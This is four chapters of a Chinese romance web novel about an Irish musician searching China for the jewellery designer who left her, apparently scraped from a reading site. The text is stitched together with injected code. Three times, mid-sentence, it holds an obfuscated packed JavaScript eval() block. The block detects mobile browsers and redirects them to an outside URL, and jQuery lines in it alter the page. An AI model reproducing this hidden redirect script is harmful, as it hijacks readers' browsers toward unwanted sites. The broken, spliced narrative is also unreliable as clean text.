《那她很坏了(GL)》
1. 第001章 那她很坏了
一阵悠扬的小调被晚风送到了王文静耳边。
她不由得朝那个方向走去,很快停在了一家小酒馆门口。
这是一间很典型的传统爱尔兰酒馆,内外的装饰都是木制的,墙上挂满了照片和各种装饰,而这一切都笼罩在暖黄色的灯光之中,显得十分温馨。
于是,在这条街上游荡的第三个晚上,王文静终于鼓起勇气踏入了一家酒馆。
进了门,动听的曲调就变得更加清晰了。
王文静一眼看到了坐在台上吹奏的人。
她侧对着进门的方向,微微偏头,专注地吹奏着手中的笛子,头顶的灯光柔和地洒下来,将她半长的金发照得熠熠生辉,也将欧美人优越的面部曲线勾勒出来——鼻梁高挺、眼窝微深,五官轮廓分明。
人好看,曲子也好听。
于是等一曲结束,王文静被掌声惊醒时,她已经站在了舞台下方。
这……王文静一秒紧张起来。
酒馆里人实在太多了!
天知道,明明白天的都柏林人很少,闹市区都没有这样摩肩接踵的场面,也不知这些人是从哪儿冒出来的,此刻齐齐鼓掌,存在感更是难以忽视。
王文静这种社恐,处在这样的环境里,简直是浑身都不自在。
她下意识地后退一步,想撤了。
然而一转头,正正好跟靠在吧台上的大胡子白人男性对上了视线。
要糟!
果然,对方立刻朝她绽出一个灿烂的笑脸,大声问道,“要来点什么?”
虽然考过了托福,但真正身处全英文的环境之中,王文静的反应还是常常慢半拍,所以一听到有人说话,她就条件反射般地集中精力,一边听一边在心里翻译,完全忘了自己准备撤退的事,一门心思组织起答复来。
这一耽搁,就走不掉了。
用自己匮乏的词汇储备跟大胡子交流了两句,王文静绝望地发现,对方嘴里吐出来的酒名自己都听不懂。
那种感觉,大概类似外国人听一个中国人问他想吃什么,然后来了一段《报菜名》。
正当她准备说出那句万能的“随便”时,耳畔忽然传来一道压低的女声,“Chinese?”
虽然说得很轻,但王文静的大脑立刻就抓取到了关键词,她转过头,就对上了一双沉静的眼睛。
绿色的眼瞳像是两汪澄清的湖泊,又像是两粒剔透的宝石,非常漂亮,也非常衬这张脸、这个人——开口说话的,正是刚才在台上表演的人。
正面看,那种美貌带来的冲击感更甚,再加上对方表情冷淡,看起来有些生人勿进。
换做平时,王文静肯定不敢跟这种人搭话,但现在是对方先开口,而且那句“Chinese”,听在异国他乡的留学生耳中,又是如此亲切。
她鼓起勇气点点头,小声应道,“Yes。”
然后就见对面的美人掏出手机,对着它说了一句什么,又将之递向王文静。
她正迟疑着是否应该伸手接过,就听到手机里传来了机械的、然而十分亲切的中文,“可以尝试一下健力士黑啤或者百利甜酒,都是这里的特产,酒精度也不高。”
王文静如释重负,连忙道,“要一杯黑啤。”
她出国之前姑且还是做过功课的,这两种都是爱尔兰特产,后者虽然听起来更无害,但其实酒精度17,相较之下只有几度的啤酒显然更友好。
黑啤入杯之后需要静置两分钟,等待啤酒沉淀,由咖啡色转变为黑色,才能入口。
王文静有些无聊、又有些拘束地摩挲着酒杯上的竖琴图案,视线不自觉地瞥向身旁站着的人。
离得近了,可以看到暖黄的光晕在她的金发上跳跃、闪烁,为她镀上了一层朦胧美好的滤镜。
她没有喝酒,目光专注地望着台上——那里已经换了人表演,满脸沧桑的男性自弹自唱着一曲爱尔兰民谣,歌词王文静半懂不懂,也能听出写的是开阔的田野、路边的野花、放牧的牛羊和心爱的姑娘。
不知为何,王文静觉得对方身上似乎有一股忧郁的气质,明明身处这样热闹的环境,却并不开怀。
似是察觉到了她的视线,对方忽然转过头来。
王文静吓了一跳,连忙掩饰性地端起杯子喝了一口,然后整张脸都皱在了一起,差点被呛到。
啤酒的味道已经很怪了,黑啤比啤酒更怪。
也可能是她喝得太急了。
好在无论调酒师还是身边的人,乃至酒馆里的其他陌生人,都没有表现得太在意,王文静也慢慢放松下来。
难怪都说爱尔兰的传统酒馆文化值得体验,这里人虽然多,但完全不觉得吵闹,确实如网友所说,给人以热情、欢乐、温暖的感受,跟她想象中的酒吧很不一样。
不过,那杯黑啤直到最后也没能喝完。
王文静怀着罪恶感将它留在吧台,结了账,心虚地溜之大吉。
没想到旁边的人竟然也随之起身,跟着她一起走出了酒馆。
王文静很难忍得住不偷瞄对方,然后就再次跟人对上了视线。
正当她尴尬得想抓头发时,又听到了机翻的中文,“虽然有些冒昧,但我想请问,你有没有兴趣做兼职?”
“诶?”突如其来的话题让王文静有些茫然,“什么兼职?”
“事情是这样的,我最近正在学习中文,我想或许会需要一个指导老师和交流对象。”
王文静眼睛一亮。
察觉到她的反应,对方继续说,“如果可以的话,我想聘请你……”
“不不不!”王文静连忙打断她,意识到自己的态度可能引人误会,她又连忙解释,“我不是要拒绝你,我的意思是,嗯……事实上我也正想找人练习英语口语,如果你愿意的话,或许我们可以互相帮助?”
“所以这就是你到酒馆来的原因吗?”对方忽然问。
王文静有些尴尬地挠头,“呃……是的。”
“我想这并不是一个合适的环境。”
“是的,我已经发现了。”王文静继续挠头。
她也不知道为什么,估计是病急乱投医吧,听说只有在酒馆里爱尔兰人才会敞开了聊,喝高了还会口出各种狂言,就觉得这或许会对自己有用。
毕竟爱尔兰的社交环境颇有英伦遗风,虽然大家都礼貌热情,但又很有边界感,日常交流时,看到她组织语言的为难模样,都会体贴一笑,然后主动结束话题。
但不管怎么说,这一趟也不算全无收获,不是吗?
如果能找到一个固定的口语练习搭子,自然最好不过。
两人愉快地交换了联系方式,王文静也终于知道了对方的名字——Cronin。
之后,王文静每天放学都会抽时间跟克罗宁聊天,有时是直接见面,有时是打语音电话。
不得不说,有了互助对象,她的英语口语进步飞速,对于那些课本上和考试都不会出现、但日常会频繁碰到的句式和词语用法,也掌握了不少。
至少现在再进酒馆,她不会在听调酒师报各种酒类名称时,只能露出一脸清澈愚蠢的茫然了。
日常聊天的话题无非就是那些,很自然的,王文静和克罗宁也在这个过程中迅速熟悉起来,彼此都有了更多的了解。
比如王文静知道了,克罗宁是爱尔兰本地人,家里经营着一个面积上百顷的农场,不
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17353037|199640||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
过她没有继承家业,但也还没有正式工作,正在gap之中,平时会做在酒馆和街头做一些音乐表演,既是兴趣所在,也算是她的兼职。
再比如王文静发现,克罗宁平时没什么表情,看起来有点冷感,再加上外表过分出众,会让人觉得很有距离感,但实际上熟悉之后,会发现她是个很体贴、也很坦率的人。
就说口语互助练习这事,她是真的当个事办的,每次都会提前做一些准备,练习结束还会询问王文静的意见并改进,认真的劲儿弄得原本只打算抽空练练的王文静十分心虚,只能也跟着投入更多的精力。
她们的学习效果那么好,也跟这个不无关系。
这种认真的态度,不免让王文静十分好奇,克罗宁似乎并不认识中国人、对中国文化也不甚了解,为什么会突然想学中文?
这一天,王文静居然在课堂上顺利答上了老师的提问,顿时感觉自己整个人都升华了——要知道,跟大部分欧盟国家一样,爱尔兰地广人稀,高等学府里基本都是小班教学,研究生更是一个班三个学生都算多。
在这种班里,听不懂课程、跟不上进度的压力,绝不是国内大学里跟一百多个同学一起上的大课能比的。
要不然她也不能想出去酒馆练英文这种邪招。
好在结果是好的。
一放学,王文静立刻打电话给克罗宁,约她聚餐庆祝。
鉴于白人饭各有各的难吃,最终她们约在了王文静租的公寓,两人自己买菜,做了一桌中餐。
吃饱了饭,人自然就放松下来,气氛正好,王文静很自然地问出了这个问题。
然后她又在克罗宁脸上看到了那种初见时的忧郁。
“我想找一个人。”克罗宁垂下眼睫,遮住了那双绿眼睛里的涟漪。
“中国人?”
“是的。”
她的表情和语气,无不表明她跟这个人的关系非同一般,但既然如此,她想找人,为什么会是从学中文开始?
然后,王文静就从克罗宁口中听到了一个很长的故事。
王文静喝了一口咖啡冷静,然后总结道,“所以你在旅行途中遇到了你的Miss right?”
“是的。”
“你们度过了恩爱缠绵的一个月,在你准备好浪漫的求婚仪式当天,发现对方不告而别,还给你留下了一大笔钱?”
“……对。”
“然后你才发现没有她的任何联系方式,彻底找不到人了?”
“嗯。”
王文静其实想说“那你很惨了”,但话到嘴边又觉得有点幸灾乐祸的意味,于是改口道,“那她很坏了。”
听到这句话,整个谈话过程始终表现得相当冷静的克罗宁却明显不高兴了,“你怎么能这样说她!她……她肯定是有自己的苦衷,等我找到她就会知道了。”
这……王文静忍了忍,没忍住,“你还要去找她?”
“当然。”
“不是,她什么联系方式都没留下,只给了钱,意思不是已经很明显了吗?”
“是啊,她知道我的梦想是开一家爱尔兰传统乐器的制作工作室,所以才给了我钱。”
王文静都有些不忍心打击她了,但又觉得身为朋友,不能不提醒一句,她吞下“钱货两讫”四个字——当然也是担心说了克罗宁也不能理解——改为更加委婉的说词,“你清醒一点,对有些人来说这点钱不算什么,能用钱解决的事是最简单的。”
“但她给的钱刚好是我要攒的数目,说明她记得我说过的话,对吗?”
王文静忍不住抬手扶额:“……你可真是油盐不进啊!”
恋爱脑竟在我身边。
2. 第002章 大海捞针
虽然已经认识了一段时间,也意识到了克罗宁外表和真实性格之间的反差,但是王文静确实没想到,她会是个恋爱脑。
主要是克罗宁的外表实在出挑,让人想不出来,得是什么样的天仙,才能如此绝情地抛弃她,还能让她这般念念不忘——这替对方开脱的话一套一套的,而且还挺逻辑自洽。
但话说到这份上,大家都是成年人了,王文静也不知道该怎么劝。
不管怎么说,被断崖式分手,克罗宁想找人也没毛病。
于是她又战术性地喝了一口咖啡,问道,“那你打算怎么找人?”
克罗宁理所当然地说,“学好中文,然后去中国找她。”
王文静被咖啡呛了一下,半晌才找回自己的声音,“咳咳……你知道中国有多少人吗?”
克罗宁表情有些茫然,似乎不明白她为什么突然问这个,但还是配合地摇头,“多少?”
“十四亿。”
克罗宁眨了眨眼睛,才终于在心里理解了这个数字。
她不由惊叹,“好多,爱尔兰的总人口只有五百多万!”
足足少了两个0。
“光是北京上海这样的一线大城市,常住人口就有两千多万了。”王文静又补充。
克罗宁终于明白了对方的意思。
想要从这十四亿人中找到特定的那一个,无异于是大海捞针。
见她抿住唇不说话,王文静小心翼翼地问,“所以……你还知道她的其他信息吗?”
这时她心里其实已经有了不妙的预感,连联系方式都没有留下,足见对方的谨慎,实在不能指望克罗宁真的知道什么,毕竟看她这恋爱脑的样子就知道肯定很好糊弄。
不知道是不是从她的语气里听出了什么,克罗宁立刻大声道,“当然,我知道她的名字,Josie。”
那当然,要是连名字都不知道,那王文静就要怀疑她这一个月根本不是在旅游途中谈了个恋爱,而是被什么妖鬼狐魅给迷了。
但这个没有任何特色的英文名显然不能作为找人的依据。
“中文名呢?”她问。
没想到克罗宁还真知道。
虽然并不是对方告诉她的,而是两人出行时,意外碰到过另一个中国人,从对方口中听到的称呼,但此刻,克罗宁还是摆出胸有成竹的姿态,“Josie,我是说,虽然不知道是哪两个字,但发音跟这个是一样的。”
王文静:“……”
想想克罗宁那至今带着浓重口音的汉语口语,她不用问也知道,对方口中的“一样”二字水分到底有多大了。
但她还是搜出了百家姓,“虽然并不是所有中国人的姓都包括在其中,但我们先从这个开始吧。”
两人凑在一起,将百家姓中跟jo发音相似的字都抄写下来。
然后是所有发音为xi的字。
其实写到纸上一看,组合也不是太多。
但接下来她们就陷入了瓶颈。
因为克罗宁根本听不出区别,不管王文静念的是哪个组合,她都觉得跟自己当初听到的很像。
王文静仰头望天,这得亏是遇到了她,要不然克罗宁自己学点中文就去中国,不得找上一辈子?
……有点地狱笑话了。
注意到她脸上崩溃的表情,克罗宁轻声道,“抱歉。”
呃……王文静连忙抹了一把脸,竭力表现得轻松一些,“没事,反正就这些组合,大不了我们在互联网上一个个的搜!”
克罗宁眼睛一亮,“能搜到吗?”
王文静本来只是随口一说,但听到这个问题,她顿了顿,抬眼看向克罗宁那张脸,笃定道,“肯定可以。”
克罗宁的魅力毋庸置疑,不仅仅是外貌,还有性格和修养。能够将这样的她迷得五迷三道、神魂颠倒的,怎么可能是普通人?只要稍微有点特色,在这个信息大爆炸的时代,就不可能搜不到。
——就连王文静这个平平无奇、有接近七万人重名的名字,她都能搜出自己的高考成绩、大学时期各种考试和活动链接,不少都是带照片的。
“只不过……”
“只不过?”
“这也一样是大浪淘沙。”王文静说,“中国人多,重名也多,搜索结果一页一页翻过去,也是个大工程。如果再考虑各平台的数据不一定互通,就更麻烦了。”
克罗宁闻言,伸手将桌上那两张写了字的纸拿起来,珍而重之地抱在怀里,然后抬起头来,神情坚定地看着王文静,“我不怕麻烦。”
王文静都有点感动了。
“没事,咱们两个人分工合作,速度更快。”她说。
克罗宁微微摇头,“你只要帮我下载中国人常用的各种软件就可以了,其他的我自己来。”
王文静还想再劝,但对上她的视线,又将到嘴边的话咽了下去。
就算明知道她是在吃爱情的苦,但人这一辈子,能有几件事可以为之一往无前、奋不顾身呢?
……
王文静觉得,给克罗宁的手机安装各种软件,比自己换一个手机还麻烦。
毕竟她换手机可以一键克隆,现在却只能一个个搜索、下载,然后还要注册账号,填写资料,实名认证……
“呃……中国的互联网公司是这样的。”等全部都弄完,一个下午就过去了,王文静挠了挠头,有些尴尬地对克罗宁解释,“平台太多了,而且彼此之间很多东西都不互通……”
也就是大部分平台都能用X信一键登录,否则更麻烦。
“挺有趣的。”克罗宁看着已经面目全非的界面,也感觉像是换了个新手机,“能够有更多选择也不坏,不是吗?”
“唔,这倒是。”王文静点头,“商战的时候薅羊毛还是爽的。”
她自己其实都已经习惯了,主要想在国际友人面前挽留一下形象,所以提了一句,就拿过自己的手机,“来,先加个好友,你顺便习惯一下操作。”
“好的。”克罗宁打开X信,调出二维码界面,很快就收到了王文静的好友申请。
“AAA村口王师……”她就像是所有初学者那样,会在看到自己认识的字时,不自觉地念出来。
“咳咳!”王文静猛地咳嗽起来。
头一回听到自己的网名被人一本正经地念出来,而且还是国际友人,羞耻感简直拉满。
克罗宁还在问,“最后一个字我不认识,这是什么意思?”
王文静被那双漂亮深邃的绿眼睛看着,忍不住抬手捂了捂脸,但还是解释道,“师傅。就是对某些特定人群……嗯,主要是劳动人民的称呼,司机师傅,电工师傅,理发师傅之类的。”
“那你是什么师傅?”克罗宁好奇。
“呃,这只是一个梗。”王文静非常艰难地向她解释这个本该只可意会的梗,感觉自己不仅英语表达不行,连中文都快不会说了。
克罗宁半懂不懂,“所以我可以叫歌手师傅?”
“歌手一般不说师傅。”王文静摸着下巴沉思,“不过你会制作乐器,倒是可以叫
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17353038|199640||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
木工师傅。”
“听起来更酷了!”克罗宁果断将自己的网名改成了“AAA木工克师傅”。
然后她的视线又落在了王文静的头像上,那是一个双手插兜、笑容魔性的熊猫人,“这个也很有趣。”
王文静有点没法将熊猫人的表情包跟克罗宁这张脸联系起来,但是单说性格的话,似乎也没有太多的违和感……她满心纠结地替克罗宁搜索了全套的熊猫人表情包,眼睁睁看着她选了一张双手叉腰、脑袋前伸、一脸挑衅的表情包设置成头像。
她在“这个好像有点讨打了”和“但是她都用熊猫人做表情包了”之间反复横跳,最后还是没说什么。
……
克罗宁带着那两张纸和手机里满满当当的各种中文软件回了家。
她学中文主要是说和写,至于拼音,目前还很容易跟英文混淆,所以王文静给她设置了手写输入。
克罗宁坐在书桌前,用一种生疏的姿势握着触屏笔,一笔一划地将纸上的字写入手机——字写得歪歪扭扭,幸好不影响识别。
她点击搜索,再一页一页查看过去。
朱xi,赵xi,周xi,邱xi,尤xi……
不是,不是,都不是她。
这是一个漫长而又煎熬的过程。
克罗宁也从一开始的紧张,到中间的麻木,再到突然发现纸上的名字组合已经没剩下几个的恐慌,内心的情绪几度起伏跌宕。
克罗宁终于不再废寝忘食地搜索,而是刻意放慢了速度。
因为有一个她一直避免去深想的念头,此刻却不由自主地跑到了脑海里。
——如果搜索完了还是找不到人呢?
世界之大、人海茫茫,原来要找到一个人,是如此困难的一件事。
但她当初竟然如此轻易就遇到了对方。
这不正是上帝安排的缘分吗?
所以哪怕这一次没有找到,克罗宁也还是会继续找下去。
这一天,克罗宁依旧怀着一种紧张与恐惧夹杂的情绪,打开手机,输入了一个新的名字。
脑海里翻滚着各种无法控制的念头,她手上的动作却越来越娴熟,甚至已经形成了肌肉记忆,机械地重复着点击-浏览-退出的循环。
直到某一刻,大脑迟钝地反应过来眼睛刚刚看到了什么,她操作界面的手指猛地一顿,迅速点回了刚才退出的页面。
这是某个国际珠宝设计大赛的获奖作品大赏,每一张获奖作品的照片下面,都附上了设计师的名字。
卡罗宁将页面下滑,很快就找到了其中一个名字。
她刚刚之所以没反应过来,是因为这上面写的并不是中文,恰恰相反,是那个卡罗宁无比熟悉,但从没想过能通过它搜到人的英文名——Josie。
她再转头去看自己刚刚输入的中文名。
越溪。
Josie Yue,越溪。
克罗宁有一种非常强烈的预感,这绝不只是巧合。
她定定地看了那个名字一眼,用颤抖的手指关闭页面,点击输入框,在原本的中文名字后面加上了珠宝设计四个字,然后回车。
甚至不需要逐页翻找,跳出来的第一个搜索结果就是越溪的百科,网页链接下面先是一张精修过的艺术照,眉目清雅,镜片后的眼睛里流泻出浅淡的笑意,波浪般的卷发从肩头披散而下,怀里抱着一本书,显得书卷气十足。
然后才是人物介绍:越溪,女,汉族,1999年11月8日出生于A城……
3. 第003章 胸针
直到照片里那张好看的脸渐渐被水意模糊,看不清晰,克罗宁才如梦初醒般回过神来。
她像是被烫到了,猛地将手机丢在桌上,胡乱地抬手擦去脸上的泪痕,深深呼吸数次,仍旧无法平复这一刻翻涌而起的情绪,只能推开椅子,起身在屋子里踱步。
走到窗边时,她抬眼向外望去,不由微微一怔。
爱尔兰的地理环境跟英国差不多,终年阴天和雨天,出太阳的时候实在不多,尤其是入秋之后,连日阴雨绵绵,但今天竟是个难得的晴天,日光为庭院,草坪和花木都镀上了一层明媚的滤镜。
克罗宁抬手推开窗,任由风带着阳光的热意扑面而来。
她闭上眼睛,嘴角动了动,本来是想笑的,却先从眼角滑下了一滴眼泪。
一直以来,克罗宁似乎都表现得十分笃定,但其实,她的心里又怎么可能不怀疑——不是怀疑自己找不到那个人,而是怀疑跟那个人相关的一切都只是自己的幻觉,又或是一场美梦。
但现在她确定了,这个人是真实存在的。
即使她们依旧相隔着遥远的土地,可是只要确认了这一点,即便隔着千山万水、汪洋大海,她也一定会找到她。
克罗宁深吸一口气,睁开眼睛,重新回到书桌前坐下。
“越、溪。”她用生疏的、带着外国口音的汉语念出这个名字,一边拿起手机查看百科页面,一边低声自语,“那就让我来重新认识你吧。”
越溪,28岁,身高170cm,体重56kg,中国新锐珠宝设计师,曾获多个珠宝设计大赛优胜。
不夸张地说,点进她的百科页面,就能从物理层面感受到什么叫光芒璀璨——每一个奖都配了参展作品的高清大图,颜色各异晶莹剔透的宝石在黄金白银的映衬下熠熠生辉、光彩夺目。
克罗宁一张一张地看下去,脸上的表情渐渐重归沉静。
原来她是个珠宝设计师。
有点意外,但似乎又在预料之中。
克罗宁忽然神色微动,抬手拉开书桌抽屉,从里面取出了一个铁盒子。
这其实是一个装糖果的盒子,因为做工精美就被克罗宁保留了下来,而现在,盒子里静静躺着一枚胸针。
尽管此刻的心情无比复杂,但看到它,克罗宁的心情还是变得明朗了一些,因为这枚胸针的造型十分可爱,是一只卡通小兔子翘着二郎腿、枕着两条胳膊,悠闲地躺在吊床上睡大觉。
这就是越溪除了那笔钱之外,留给克罗宁的唯一的东西。
只是克罗宁之前就在网络上搜索过,并没有找到同款,所以也不觉得能从它入手去寻找越溪,因此就没有对王文静提起。
现在看到这些资料,她才意识到,这枚外面买不到的胸针,或许是越溪亲自设计的。
想到这里,克罗宁将小兔子胸针拿起来,握在掌心,感受着金属表面冰凉的、略有些硌手的触感,一颗心逐渐安定下来。
她能始终相信越溪对自己并非全无感情,就是因为这枚胸针。
在她们日夜相处的那一个月里,越溪有好多天都佩戴着它,足见喜爱,临走的时候却将它留给了她。
现在知道它可能是她自己设计的、独一无二的,那意义又格外不同了。
将胸针放回去的时候,她的动作微微一顿,视线落在盒子底部那张纸条上。此刻的纸条是对折过的,看不到写了什么,但上面的每一个字母都已经牢牢镌刻在了克罗宁的脑海里。
——期待你的梦想实现的那一天。
明明每一个字都与她有关,却又没有一个字对她有所交代。
克罗宁几乎是狼狈地合上了盖子。
深呼吸几口气,调整好自己的情绪,克罗宁继续翻看搜索页面。
先看照片,毕竟大段大段的文字,对她这个中文初学者来说,阅读难度着实不小。
除了作品的照片之外,克罗宁又找到了好几张越溪的照片,大部分都是出席活动时拍的,端庄文雅,和她认识的那个越溪不太一样,但又似乎本该如此。
将照片保存到手机,克罗宁终于开始研究页面上的文字。
还好有翻译软件,虽然机器翻译多少会有一些错误,但大致能看明白是在说什么。
顺藤摸瓜,找到了越溪在社交平台上的个人账号。
说是个人账号,但其实发布的内容基本都是工作相关,不是转发设计大赛官方的获奖名单,就是转发天风集团新品上市的宣传微博,完全没有私人生活的内容。
即使如此,克罗宁也很满足了。
她在这里看到了好几张之前网页搜索时漏掉的照片。
最新的一张,是越溪出席某个慈善晚宴的红毯照,照片中的她一袭红裙、长发高挽,与平日衬衣长裤的装扮相去甚远,看起来光彩照人。
克罗宁无可奈何地发现,时至今日,即便只是跟屏幕里的照片里的人对视,她也依旧会怦然心动。
怎么可能不喜欢?怎么可能会放弃?
她就这样静静地看了很久,直到眼睛开始酸涩,才放下手机,仰头望向窗外,轻轻地吐出一口气。
终于找到你了。
……
“所以你真的找到人了?”王文静十分惊讶。
虽然是她提议的,但都快半个月了也没什么消息,她还以为克罗宁已经放弃了,毕竟那么大的工作量,想想都让人头皮发麻,更何况克罗宁还有语言关。
只能说,她有这样的毅力,做什么都会成功的。
不过这样都能找到人,也许,其中确实有点冥冥之中天注定意思,她们确实是有点缘分的。
王文静能说的只有一句“恭喜”,而后便追问道,“所以她是什么情况?”
她确实很好奇,到底是什么样的人,能让克罗宁这样的人吃上爱情的苦,还甘之如饴的。
克罗宁直接将百科页面发给了她。
看到照片,王文静就忍
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17353039|199640||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不住“嘶”了一声,等看完资料,更不知道该说什么了——虽然她作为克罗宁的朋友,对越溪的断崖式分手颇有微词,但也不得不承认,无论从哪个方面来说,越溪毫无疑问都是个闪闪发光的人。
被这样一个人青睐,喜欢上她简直是理所当然的事。
克罗宁栽得不冤。
但与此同时,王文静对这件事的结局也更悲观了。
像越溪这样集美貌与才华于一身的公众人物,不管走到哪里都会被无数人簇拥,估计早就习惯了“万花丛中过,片叶不沾身”,她的离开,恐怕不会有克罗宁所期盼的苦衷。
只是这种话,她也不能直白地对克罗宁说。
何况都已经找到人了,要是不去看一下,别说克罗宁了,就是她也不会甘心。
于是她斟酌着问道,“那你接下来打算怎么办?”
“当然是去中国。”克罗宁毫无迟疑。
“现在就去吗?”王文静开始担心了,“虽然找到人了,但我们现在只知道她在哪个城市,没有具体的地址啊。而且你的中文也还没学好,要不要再等一段时间?多做一些准备,也能再想办法打听更多的消息。”
克罗宁说,“这些去了中国也可以做。”
王文静看她这么上头,还是觉得太急了,她绞尽脑汁,还真想到了一个不错的解决方案,“再过两个月就是圣诞假期了,到时候我肯定要回家,你可以等一等,跟我一起走。”
这样至少她可以帮助克罗宁在国内安顿下来。
“不。”克罗宁心意已决,“谢谢你的好意,王,但我不想再等了。”
王文静还想再劝,但对上她的视线,到嘴边的话又都咽了回去,“好吧,那就祝你一切顺利。”
“谢谢。”
相较于王文静的百般不放心,克罗宁对自己的中国之行却是信心十足,毕竟英语是国际语言,她也学会了不少中文日常用语,实在不行还有翻译软件可以用。
而且对于出门、尤其是去另一个国家这件事,克罗宁还是很有经验的。
认识越溪的时候,她正在背包环游欧洲。
说是立刻就走,但办理签证、交接工作、收拾行李、跟家人朋友道别……这些全都需要时间,所以克罗宁真正登上飞机时,已经是十月底了。
都柏林没有直飞A城的班机,她选择了在伦敦转机,落地时已是第二天傍晚。
将近一天的飞行让克罗宁的身体疲惫至极,精神却无比亢奋。
一下飞机,她就感受到了不同——十月的A城,气候依旧宜人,最低温比都柏林的最高温还高几度。
这截然不同的气候,让克罗宁无比清晰地意识到,自己已经踏上了另一片土地。
办理完入境手续、过边检、取行李,克罗宁被熙熙攘攘的人群推挤着走出机场,终于看到了这座暮色中的城市。
华灯初上,晚风轻拂。
这就是越溪出生、成长的地方。
4. 第004章 茫然
出发之前,王文静就帮克罗宁预定好了酒店,从机场可以坐地铁直达。
办理好入住,她简单吃了点东西,洗了个澡,躺在床上,只觉得眼前的世界似乎都在旋转、摇晃,疲惫如潮水一般涌上来,将她淹没。
神经却亢奋得根本睡不着。
终于找到了越溪,终于来到了距离她如此近的地方,克罗宁无法不激动。
明知道自己现在最需要的是休息,但她辗转半晌,还是没忍住拿起手机,再次点进了越溪的个人页面。
最新一条依旧是那张红毯照,发布时间是五个多月之前。
其实以越溪的更新频率来说,这是很正常的,只有在参加活动或是有作品上市、需要配合的时候,她才会发布新的动态。
但对克罗宁来说,这就是一件令人心焦的事了。
没有新的动态,就意味着她不知道去哪里找越溪——A城的常住人口也有近千万,想要走在路上就碰到她,几乎是不可能的,克罗宁还是要继续想办法找人。
克罗宁又翻了翻页面。
这几天,她已经将越溪发布的所有动态都看了一遍——其实也没什么可看的,数量不多,也没什么值得仔细品鉴的内容。
所以此刻,实在没什么可看的,她干脆又点进了红毯照那条的评论区。
之前她其实也点进去过,但满屏都是哀嚎越溪太久没有发动态,主页都快长草了的,并没有任何帮助,克罗宁也就没有多看——评论区的字又小又密,她看着容易眼晕。
不过现在没有别的事情做,又睡不着,克罗宁也就一条一条翻了下去。
翻着翻着,她的眉头忍不住皱了起来。
在这条动态刚刚发布的时候,评论的内容完全是另一番景象——
——大家好,这是我老婆。
——老婆请正面上我!
——呜呜呜呜呜今天也是被老婆的盛世美颜暴击的一天!幸福得昏古七!
——斯哈斯哈,太辣了太辣了!答应我,以后都这么穿好吗?好的。
——今天晚上就穿这套来见我。
——楼上醒醒,老婆已经在我怀里了,嘻嘻~
——谁的苦茶子捡一捡,绊到我了。
更多的则是满屏无意义的尖叫。
甚至都不需要翻译软件,克罗宁连蒙带猜,也能看懂大概是怎么回事,毕竟梦女这种存在,并不是中国特产。
但这种程度的口嗨,她还是有些无法接受。
尽管中文水平稀烂,克罗宁也还是没忍住,挑着那些内容过火的评论逐条回复。
她倒也没有宣示主权,只是语气平和地提醒对方,这样很不尊重人,真正喜欢越溪的人不应该发表这样的评论。
此时正是大多数人结束了一天的工作和生活,上网冲浪放松脑子的时间段,所以克罗宁的这些评论,几乎立刻就被她回复的人看到了。
互联网没有记忆,很多人其实早都忘记自己还在越溪的动态下面发布过这样的暴言了,此时突然被回复,基本都会点进来看一看,然后就发现,自己并不是个例,这位是在上朝,巡视评论区,挨个点评呢。
——越是小圈子越封闭排外,为此还会创造很多外人根本看不懂的缩写、代称甚至黑称,克罗宁一看就是完全不懂任何规矩的空降,自然会被排斥。
有人只想看热闹,难得抓住一个老实人,果断调戏之,也有人心怀善意,提醒她这只是一种表达喜爱的方式,不需要上纲上线,有人语气激烈,认为什么都不懂的人就不要乱进别人的小圈子,应该自觉回避。
但也有一部分人觉得她这是在挑事。
越溪那几十万的粉丝里,颜粉能独占半壁江山,她这等于是一竿子打翻了一船人,肯定是黑子!
虽然不知道是从哪里来的黑,也不知道为什么会以这样的方式来黑,但她的发言实在过于离谱,怎么都不像是普通网友能说得出来的,不是黑子又是什么?
打黑子,那绝对不能客气。
在粉圈越来越成熟的互联网上,相关的话术都是现成的,所以很快,克罗宁就迎来了一番狂风暴雨般的攻击。
换做是一般人,肯定会招架不住,干脆一击脱离,从此绕着这些癫人走。
但克罗宁毕竟不是普通网友,她是真的认识越溪,而且真的跟她交往过,并且目前还处在断崖式分手的应激期内。
面对这种劈头盖脸的骂战,她一开始是有点懵的,但渐渐的,那些自从越溪离开之后就一直压抑在心底、无法疏解的情绪被勾了起来,迫不及待想要向外宣泄。
由于阅读速度和手写输入都有些跟不上节奏,克罗宁干脆打开翻译软件,先复制对方的评论,翻译英语,再语音输入回复,翻译成中文。
如此这般,居然也吵得有来有回。
